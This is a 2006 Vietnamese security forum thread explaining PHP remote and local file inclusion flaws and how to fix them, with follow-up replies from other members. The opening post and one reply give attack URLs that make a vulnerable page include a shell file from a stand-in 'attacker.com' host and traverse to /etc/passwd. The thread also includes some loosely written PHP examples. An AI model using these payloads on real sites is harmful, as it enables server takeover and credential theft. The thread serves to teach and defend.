Lỗi include và cách khắc phục

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận bảo mật

Lỗi include và cách khắc phục

[Question] Lỗi include và cách khắc phục	27/08/2006 11:30:54 (+0700) \| #1 \| 18351

Vickizw
Member

Joined: 06/07/2006 19:55:29
Messages: 339
Location: ColTech
Offline

Đôi khi vào các trang hacker , bạn hay thấy các lỗi bảo mật mà hacker đã dùng những cách thức hết sức đơn giản để lấy username và password vào root của host như ../../../../../ ect/passwd. Đó chính là một phần của lỗi include. Nói một cách tổng quát, lỗi include là một loại lỗi do sự bất cẩn khi lập trình gây ra và lỗi này có thể khắc phục một cách dễ dàng.

Include là gì? Include nghĩa là kết nối, lien kết . Để tránh việc lặp đi lặp lại một đoạn mã nào đó, lập trình viên chỉ cần dùng lệnh include đến một file có chứa mã sẵn . Vì thế, trong một mã nguồn ( tin tức, diễn đàn, âm nhạc…) có chứa rất rất nhiều các lệnh Include. Và trong hàng ngàn dòng lệnh thì sai sót ở những nơi không mấy quan trọng là điều không thể tránh.

Dựa vào hình thức chúng ta có thể phân ra 2 loại: remote file và local.

I. Lỗi remote file

a/ Lỗi khai báo biến:

Vd1: Ta có một file exam1.php như sau:

Code:

$mkdir=”/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>

Ta thấy rằng file này không có lỗi. Trước tiên lập trình viên (LTV) khai báo biến $mkdir là “/home”. Sau đó LTV dùng lệnh include với đường dẫn đến file config.php là giá trị đã khai báo ở biến $mkdir.
Vd2: Tôi lại có một file exam2.php như sau:
Code:

$mkdir =” “;
Include($mkdir/config.php);
[…code exam2.php] ?>

Đã có lỗi xảy ra. Vì file config.php nằm chung một thư mục với file exam2.php nên không cần khai báo biến $mkdir. Biến $mkdir đã không còn có tác dụng và trở nên vô nghĩa. Tuy nhiên LTV lại quên không xoá đi mà lại để nó tồn tại.

Vd3 Quay lại vd 1

Code:

$mkdir = “/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Giả sử tôi có file config.php như sau:
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”; ?>

File exam1.php đã include đến file config.php. Với lệnh include này thì hai file trên sẽ tương đương với 1 file như sau:

Code:

$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”;
[…code exam1.php] ?>

Ở đây đoạn từ $mkdir=…config.php ; đã được thay bằng nội dung file config.php

Vd4: Quay lại với vd2, exam2.php:

Code:

$mkdir =” “;
include($mkdir/config.php);
[…code exam2.php]
?>

File này có lỗi. Biến $mkdir để trống không khai báo. Điều này đã tạo cơ hội cho attacker khai báo dùm.
Nếu attacker dùng địa chỉ như sau: http://victim.com/exam2.php?mkdir=http://attacker.com.
File exam2.php của victim lúc này sẽ như sau:

Code:

$mkdir= “http://attacker.com”;
Include (http://attacker.com/config.php);
[…code exam2.php] ?>

Trong trường hợp này thì file config.php đã nghiễm nhiên được coi như là nằm trong host của attacker và nếu nội dung file này là một con remview thì sẽ có vấn đề xảy ra. Như vd3 đã nói với lệnh include này, toàn bộ mã của file chứa remview đã nằm gọn trong file exam2.php. Như vậy là attacker đã dùng remview để điều khiển toàn bộ host của victim.

Tuy nhiên việc này chỉ xảy ra ở máy attacker, còn những người truy cập khác đều không có tác dụng và thực chất file exam2.php trên host victim cũng không hề bị thay đổi.

b/ Lỗi khi dùng hàm isset và hàm if

Vd5 Ta có một file exam5.php như sau:

Code:

If (!$mkdir) ($mkdir=”config.php”)
Include($mkdir);
[…code exam5.php]
?>

Nghĩa là nếu biến $mkdir chưa được khai báo thì lấy giá trị mặc định là config.php và include đến giá trị mà biến $mrdir đã khai báo.

Tương tự như vd4 attacker lại khai báo dùm biến $mkdir cho victim và …
Vd6 : Lại một file exam6.php

Code:

Isset (!$patch) ($patch=”/home”);
Include($patch);
[…code exam6.php]
?>

Nếu biến $patch chưa được khai báo thì lấy giá trị mặc định là /home
Bây giờ đến lượt các bạn tự tìm hiểu

II. Lỗi local

Chúng ta chỉ xét một trường hợp duy nhất ; exam.php:
Code:

$file =” “;
Include (/home/$file);
[…code exam.php]
?>

Vẫn tương tự như sau các ví dụ trước nhưng chỉ khác ở chỗ biến $file đã bị giới hạn nằm trong thư mục home.
Nếu attacker nhập vào:
http://victim.com/exam.php?file=http://attacker.com thì code trên thành như sau :

Code:

File =”http://attacker.com”) ;
Include (/home/http://attacker.com);
[…code exam.php]
?>

Lệnh include không còn có ý nghĩa vì đường dẫn sai hoàn toàn. Nhưng attacker vần tận dụng được lỗi này. Bằng cách thêm vào đường dẫn như sau :
http://victim.com/exam.php?file=../../../../../etc/passwd/
Với giá trị nhập vào là ../ attacker đã xhayj ngược ;liên kết đến thư mục password của server host .
Vd: chúng ta có cài thư mục như sau:
Server root/home/victim/public.html/forum/includes/exam.php
Với 5 lần sử dụng ../ đã giúp attacker xâm nhập vào thư mục etc/passwd : nơi chứa pass vào root của server.
Tuỳ mỗi server mà có đường dẫn khác nhau mà dùng số lần ../ khác nhau.

III. Cách khắc phục

Đây là lỗi sinh ra do vô ý hoặc do kém hiểu biết về lập trình. Tuy nhiên việc fix lỗi lại rất dễ dàng, chỉ cần loại bỏ các biến không cần thiết khi dùng lệnh include hoặc phải khai báo biến rõ ràng. Qua lỗi này, chúng ta có thể tự bảo mật cho chính website của bản than và tự tìm kiếm các lỗi khác.
-----------------------------------
Source : thegioiphp.com
Author : Someone

[Question] Re: Lỗi include và cách khắc phục	27/08/2006 13:27:42 (+0700) \| #2 \| 18380

gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline

Code:

Code:
$mkdir= “http://attacker.com”;
 Include (http://attacker.com/config.php);
 […code exam2.php] ?>
Trong trường hợp này thì file config.php đã nghiễm nhiên được coi như là nằm trong host của attacker và nếu nội dung file này là một con remview thì sẽ có vấn đề xảy ra. Như vd3 đã nói với lệnh include này, toàn bộ mã của file chứa remview đã nằm gọn trong file exam2.php. Như vậy là attacker đã dùng remview để điều khiển toàn bộ host của victim.

Tuy nhiên việc này chỉ xảy ra ở máy attacker, còn những người truy cập khác đều không có tác dụng và thực chất file exam2.php trên host victim cũng không hề bị thay đổi.

thiếu chính xác và hơi cứng nhắc
ps:nếu bạn ko biết source của victim ,và victim cũng ko bị path diclosure (có nghĩa là bạn chỉ bit nó bị include và ko biết đc sau biến $mkdir là biến config.php thì làm sao rename file backdoor trên host hacker là config.php để làm giả cái path cho hợp lý đây ?? chả nhẽ pó tay ? )

Cánh chym không mỏi
lol

[Question] Lỗi include và cách khắc phục	27/08/2006 14:01:30 (+0700) \| #3 \| 18386

Vickizw
Member

Joined: 06/07/2006 19:55:29
Messages: 339
Location: ColTech
Offline

gamma95 wrote:

nếu bạn ko biết source của victim ,và victim cũng ko bị path diclosure (có nghĩa là bạn chỉ bit nó bị include và ko biết đc sau biến $mkdir là biến config.php thì làm sao rename file backdoor trên host hacker là config.php để làm giả cái path cho hợp lý đây ?? chả nhẽ pó tay ? )

Cẩn tắc vô áy náy mà anh

[Question] Lỗi include và cách khắc phục	27/08/2006 14:22:08 (+0700) \| #4 \| 18390

gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline

hummmmm ,câu reply hơi zô ziên
ps:cả phần cách khắc phục cũng thiếu sót lớn

Cánh chym không mỏi
lol

[Question] Lỗi include và cách khắc phục	27/08/2006 22:12:07 (+0700) \| #5 \| 18440

Vickizw
Member

Joined: 06/07/2006 19:55:29
Messages: 339
Location: ColTech
Offline

vâng
Vậy anh bổ sung cho nó đầy đủ chút được không .
Anh cứ nói thiếu sót mà không chỉ bảo gì cả .

[Question] Lỗi include và cách khắc phục	28/08/2006 01:55:02 (+0700) \| #6 \| 18507

gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline

hehe ,mình chỉ bit là hình như có thiếu sót ... còn thiếu sót ở đâu thì ko bit ??? chắc nhờ nhiều cao thủ tìm dùm vậy smilie

Cánh chym không mỏi
lol

[Question] Lỗi include và cách khắc phục	28/08/2006 04:28:53 (+0700) \| #7 \| 18541

conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline

gamma95 wrote:

hehe ,mình chỉ bit là hình như có thiếu sót ... còn thiếu sót ở đâu thì ko bit ??? chắc nhờ nhiều cao thủ tìm dùm vậy

Hèm... ku phê bình thì chứng minh luôn cho đủ bộ đi ku smilie

What bringing us together is stronger than what pulling us apart.

[Question] Re: Lỗi include và cách khắc phục	28/08/2006 11:51:16 (+0700) \| #8 \| 18628

gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline

Dạ
thứ 1: điều kiện cần và đủ để hacker chơi victim là php.ini của victim phải bật 2 cái này
allow_url_fopen = On
register_globals = On
(ko thấy bài nói tới )

Trong trường hợp này thì file config.php đã nghiễm nhiên được coi như là nằm trong host của attacker và nếu nội dung file này là một con remview thì sẽ có vấn đề xảy ra. Như vd3 đã nói với lệnh include này, toàn bộ mã của file chứa remview đã nằm gọn trong file exam2.php. Như vậy là attacker đã dùng remview để điều khiển toàn bộ host của victim.

Host của hacker có support php ko ? ko thấy nói đến !
...
ko thấy nói đến cách dùng dấu "?" trong khi include
cách khắc phục:
nếu ko có gì vướng bận thì cho 2 cái
allow_url_fopen = off
register_globals=off
trước khi nghĩ tới cách fixed code
(... còn típ)

Cánh chym không mỏi
lol

[Question] Lỗi include và cách khắc phục	28/08/2006 13:12:05 (+0700) \| #9 \| 18655

baothu
Elite Member

Joined: 15/09/2003 02:42:15
Messages: 57
Offline

ps:nếu bạn ko biết source của victim ,và victim cũng ko bị path diclosure (có nghĩa là bạn chỉ bit nó bị include và ko biết đc sau biến $mkdir là biến config.php thì làm sao rename file backdoor trên host hacker là config.php để làm giả cái path cho hợp lý đây ?? chả nhẽ pó tay ? )

nếu biết viến $mkdir bị bug thì vẫn có thể biết dc đằng sau nó là cái j mà anh
site.com/file.php?mkdir=aa
Nếu display error=On thì nó tự show ra thui,còn ko thì có thể thêm dấu ? vào để khắc phục
site.com/file.php?mkdir=http://attacker.com/shell.txt?
smilie

[Question] Lỗi include và cách khắc phục	28/08/2006 13:57:43 (+0700) \| #10 \| 18661

gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa">
Offline

uhm
típ đi baothu

Cánh chym không mỏi
lol

Go to:

Users currently in here
1 Anonymous